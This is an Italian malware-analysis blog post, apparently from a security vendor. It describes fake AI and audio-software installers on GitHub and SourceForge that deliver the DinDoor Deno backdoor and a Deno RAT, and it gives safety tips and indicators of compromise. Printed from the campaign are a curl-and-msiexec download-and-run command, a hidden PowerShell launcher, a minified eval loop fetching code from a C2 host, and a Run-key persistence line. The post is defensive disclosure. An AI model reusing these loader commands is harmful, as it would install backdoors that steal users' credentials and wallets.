Nel corso delle nostre attività di ricerca delle minacce, abbiamo individuato su GitHub e SourceForge dei programmi di installazione e dei plugin contraffatti che si spacciavano per software famosi quali ChatGPT, Claude, AutoTune e Kontakt e che diffondevano una backdoor Deno nota come DinDoor. Gli autori degli attacchi stanno utilizzando YouTube compromessi per diffondere link a queste piattaforme.
DinDoor rilascia infine diversi tipi di malware, tra cui un trojan di accesso remoto (RAT) invisibile, che utilizza anch'esso il runtime JavaScript Deno.
Gli autori degli attacchi ricorrono sempre più spesso a runtime JavaScript alternativi come Bun e Deno per eludere i tradizionali metodi di rilevamento. In una delle nostre recenti indagini abbiamo documentato come gli autori degli attacchi utilizzino Bun come vettore di infezione iniziale per diffondere NWHStealer. Inoltre, a marzo, ThreatDown hanno osservato che gli autori degli attacchi utilizzavano Deno per diffondere CastleLoader attraverso una catena di infezione in più fasi che prevedeva l'uso dell'esca ClickFix.
Queste campagne utilizzano Scoop (un programma di installazione alternativo per Windows) e WinGet (il gestore Windows ufficiale Windows ) per installare Deno sul computer della vittima. Successivamente, sfruttano il runtime di Deno per eseguire un RAT in grado di lanciare ulteriori payload, sottrarre dati da browser, portafogli digitali e altre applicazioni; tale RAT presenta un'interessante funzionalità peer-to-peer che utilizza Edge nascondere il traffico dannoso.
Piattaforme legittime utilizzate in modo improprio per diffondere malware
Nella maggior parte dei casi analizzati, la catena di infezione ha inizio tramitefile MSIoscript PowerShellscaricati da GitHub o SourceForge. Gli utenti vengono solitamente reindirizzati a questi repository dannosi tramiteYouTube compromessi. Questi video hanno attualmente totalizzato oltre 50.000 visualizzazioni.


YouTube compromessi pubblicano post che promuovono diversi software e passano continuamente da un account GitHub all'altro per diffondere il malware.

Il software contraffatto sembra essere stato progettato per colpire creatori di contenuti, appassionati di IA, giocatori e utenti con competenze tecniche, che sono più propensi a download strumenti download , software crackato o programmi di installazione distribuiti dalla comunità da siti come GitHub e SourceForge. Abbiamo osservato MSI e script falsi che si mascherano da programmi di installazione e plugin per software e marchi legittimi come ChatGPT, Claude, ZENOLOGY, Ableton Live, AutoTune e Kontakt.

I repository dannosi contengono un comando sia per Windows per macOS. Questi repository chiedono agli utenti di aprire il terminale e copiare un comando dannoso, che scarica ed esegue il file MSI da GitHub.

Alcuni account GitHub malintenzionati creano numerosi repository pieni di software e plugin fasulli legati a programmi famosi per attirare un maggior numero di utenti.

Abbiamo scoperto che la stessa backdoor è stata diffusa tramite SourceForge, mascherandosi da un gioco legittimo chiamato GearUP e da un software per la rimozione delle filigrane basato sull'intelligenza artificiale chiamato BWR.


Come stare al sicuro
Gli autori dell'attacco hanno fatto ampio ricorso alla fiducia degli utenti. GitHub e SourceForge sono piattaforme legittime, il che rende i progetti fasulli ancora più convincenti. Abbiamo contattato GitHub, che ha prontamente rimosso i repository dannosi, ma gli utenti devono aspettarsi che ne compaiano di nuovi.
Ecco alcuni semplici consigli per stare al sicuro:
- download solo dai siti web ufficiali dei produttori.
- Diffidate delle versioni "gratuite", crackate o non ufficiali dei software a pagamento.
- Presta attenzione ai download da GitHub, SourceForge, forum o siti di condivisione file, soprattutto se provengono da account nuovi o sconosciuti.
- Gli hacker continuano a creare nuovi profili per diffondere questo malware su diverse piattaforme. Prima di scaricare qualsiasi cosa, controlla il profilo dello sviluppatore o dell'editore, la sua reputazione e da quanto tempo è stato creato.
- Verifica che il contenuto dell'archivio, le immagini e i file di testo corrispondano a ciò che ti aspettavi di download. I nomi e la struttura degli archivi seguono spesso schemi malevoli facilmente riconoscibili.
- Prima di eseguire il file, controlla l'editore e la firma digitale. Windows, di solito puoi farlo cliccando con il tasto destro del mouse sul file e selezionando Proprietà > Firme digitali. Tieni presente che una firma valida non garantisce che il file sia sicuro, ma l'assenza di una firma o una firma sospetta sono spesso un segnale d'allarme.
Analisi tecnica
I repository GitHub dannosi chiedono all'utente di aprire il prompt dei comandi ed eseguire un comando dannoso. I comandi dannosi download MSI da GitHub e lo installano tramite msiexec. Questi repository contengono talvolta anche script PowerShell che servono, analogamente, ad avviare la catena di infezione.
Esempio di un comando dannoso ospitato su GitHub che avvia la catena di infezione:
curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi
Il file MSI salva un file CMD e uno script PowerShell in una directory casuale specificata nel file MSI InstallationFolder e valori del Registro di sistema. Abbiamo rilevato diverse strutture per questi MSI, con JavaScript al posto del file CMD o con file incorporati aggiuntivi.

Il file CMD esegue lo script PowerShell, il cui nome varia a seconda delle catene di infezione analizzate:
@set "SCRIPTDIR=%~dp0" @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + '{Random name}.ps1""') -WindowStyle Hidden"

Lo script PowerShell si occupa di:
- Verificare che il gestore di pacchetti Scoop sia installato e, se non lo è, installarlo utilizzando lo script ufficiale disponibile all'indirizzo
get.scoop.sh. Scoop è un popolare programma open source per l'installazione e la gestione dei pacchetti da riga di comando per Microsoft Windows. - Utilizzare Scoop per installare WinGet (Windows Manager) se non è presente.
- Installa Deno (un runtime JavaScript/TypeScript) tramite WinGet o Scoop, se non è già presente.
L'utilizzo dei gestori di pacchetti Scoop e WinGet per installare software aggiuntivo sul computer compromesso rappresenta un approccio interessante che offre all'autore dell'attacco una maggiore flessibilità.
Comando eseguito per installare Deno tramite WinGet:
"C:\Users\admin\scoop\apps\winget\current\winget.exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent
La backdoor DinDoor
Successivamente, viene eseguita la fase seguente utilizzando l'eseguibile Deno scaricato:
"C:\Users\admin\AppData\Local\Microsoft\WinGet\Packages\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\deno.exe" run -A http://{C2}/{random_path}.js
Il codice restituito (il cui nome interno è “launcher-1”) è una piccola funzione eval-loop che scarica la fase successiva (il cui nome interno è “launcher-2”). La backdoor scaricata è nota al grande pubblico comeDinDoor.
var a="{C2}".split(","),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+"/{BUILD_ID}.js");if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)("(async()=>{"+e+"})()")}catch{}await new Promise(t=>setTimeout(t,3e4))}
La backdoor garantisce la persistenza, invia informazioni sul sistema compromesso al server di comando e controllo (C2) ed esegue ulteriori payload e comandi restituiti dal C2. Gli endpoint HTTP utilizzati per le comunicazioni C2 variano a seconda dei casi analizzati.
La backdoor ottiene un ID da un endpoint HTTP (ad esempio, /security-pool) e poi utilizza quell'ID per ottenere la fase successiva da /v2{ID}.js.
La fase ottenuta viene eseguita tramite stdin senza che venga salvato su disco, utilizzando il comando:
deno run -A --no-check –
Per garantire la persistenza, la backdoor esegue un comando PowerShell per creare una chiave RUN che avvia il downloader “launcher-1” utilizzato in precedenza:
conhost.exe --headless "<deno.exe>" -A "%APPDATA%\<hash>.js
Nei casi analizzati, questa backdoor distribuisce diverse famiglie di malware. In questo blog analizziamo uno dei payload distribuiti: un RAT che utilizza il runtime JavaScript Deno.
Deno RAT
Il RAT distribuito, come gli altri script analizzati, utilizza l'ambiente JavaScript Deno e dispone di tutte le funzionalità necessarie per controllare il dispositivo, eseguire comandi e payload ed estrarre vari tipi di dati tramite il suo modulo di furto integrato.
Non abbiamo trovato un nome specifico né alcuna attribuzione per questo RAT. In passato, il RAT è stato denominato “Smokest” in base a un valore specifico presente nel file di configurazione. Lo stile simile dei commenti e l’infrastruttura condivisa suggeriscono che lo sviluppatore di DinDoor e quello del RAT potrebbero essere la stessa persona o lo stesso team.
Hai preso qualcosa che non avresti dovuto?
Oltre al protocollo HTTP per la comunicazione C2, il RAT supporta anche WebSocket comunicazione, attivata quando il valore JSON isLiveEnabled il valore restituito dal C2 è impostato su true.

Il RAT supporta diversi comandi (exec, exec-ps, exec-sc, sysinfo, screenshot, stealer) e funzionalità:
- Raccogliere informazioni di sistema sul dispositivo compromesso
- Controllo bidirezionale completo tramite un'implementazione VNC personalizzata su WebSocket
- Supporta oltre 50 estensioni per portafogli crittografici e 10 cartelle di software crittografici, tra cui Atomic Wallet, Exodus, Electrum e ByteCoin
- Raccoglie dati dai browser, tra cui Chrome, Chromium, Brave, Edge, Avast Browser, Edge, Opera, Vivaldi, CentBrowser, Kometa, Orbitum, 360Browser e Chromodo
- Estrarre i dati da Telegram, Discord e Lightcord
- Salvare e modificare i dati negli appunti
- Elencare cartelle e file ed estrarre i contenuti dai file con estensioni specifiche
- Cattura schermate utilizzando diversi metodi
- Eseguire payload aggiuntivi
- Avviare o terminare processi arbitrari
- Eseguire comandi con PowerShell
- Creare tunnel proxy SOCKS5 tramite WebSocket
Una delle caratteristiche più interessanti di RAT è una modalità di streaming peer-to-peer che utilizza il Edge per nascondere il traffico e rendere più difficile il rilevamento.
Per trasmettere video in diretta direttamente all'operatore senza farli passare attraverso il server C2, il RAT avvia un Edge nascosto Edge Microsoft Edge e si connette ad esso tramite Chrome Protocol (CDP). Successivamente, inserisce una piccola pagina HTML WebRTC in Edge, trasformando il browser legittimo in un relè video peer-to-peer. L'agente Deno cattura e codifica in H.264 lo schermo della vittima, passa i fotogrammi alla Edge tramite CDP, ed Edge li Edge direttamente al browser dell'operatore tramite un WebRTC DataChannel crittografato. La segnalazione SDP e ICE, necessaria per stabilire la connessione diretta, viene scambiata tramite il WebSocket C2 esistente.

Il RAT utilizza i seguenti endpoint per la comunicazione C2, che possono variare da un campione all'altro:
/health: verifica la risposta "ok" proveniente dal C2/token: ricezione dei parametri di configurazione, invio delle attività, risultati e dati sottratti/vnc/agent/: Percorso WebSocket utilizzato per la comunicazione VNC
I dati di configurazione sono codificati in Base64 e vengono inviati durante le comunicazioni con il C2 come token di autorizzazione. Dati di configurazione decodificati:
{
"buildId": "cd361ef3159f5ce9",
"buildNote": "BWR",
"buildType": "msi-v2",
"proxyUrls": ["{C2}"],
"userId": "…",
"accessTokenHash": "…",
"iat": 1779372546,
"exp": 2094948546
}
Abbiamo individuato diverse versioni di questo RAT, tra cui una versione "light" denominata "agent-lite" che supporta solo pochi comandi e utilizza Cloudflare Workers per la comunicazione C2.

Ringraziamenti
- DinDoor:https://hunt.io/blog/dindoor-deno-runtime-backdoor-msi-analysis
- Smokest:https://x.com/vxunderground/status/2013006601133687004
Indicatori di compromesso (IOC)
URL
https[:]//github.com/claude-free-plugin/https[:]//github.com/ai-gen-profihttps[:]//github.com/wharfdemolisherpithttps[:]//sourceforge.net/projects/gearup/https[:]//sourceforge.net/projects/bluewaveremover/
Domini
claudescript[.]top: sito web di distribuzionems-telemetry-gateway-us[.]com: C2dakatawebstick[.]com: C2ashpaltlonpro[.]com: C2cf-proxy[.]cloud-analytics-services[.]workers.dev: C2agilemast3r[.]duckdns[.]org: C2geralnewlong[.]com: C2hngfbgfbfb[.]cyou: C2logicalnewrestore[.]com: C2
IP
23[.]227[.]196[.]107: C245[.]137[.]99[.]121: C231[.]57[.]129[.]23: C266[.]78[.]40[.]107: C2193[.]233[.]198[.]132: C2
Non ci limitiamo a segnalare le minacce, ma le eliminiamo.
I rischi per la sicurezza informatica non dovrebbero mai diffondersi al di là di un titolo di giornale. Tenete le minacce lontane dai vostri dispositivi scaricando Malwarebytes oggi stesso.




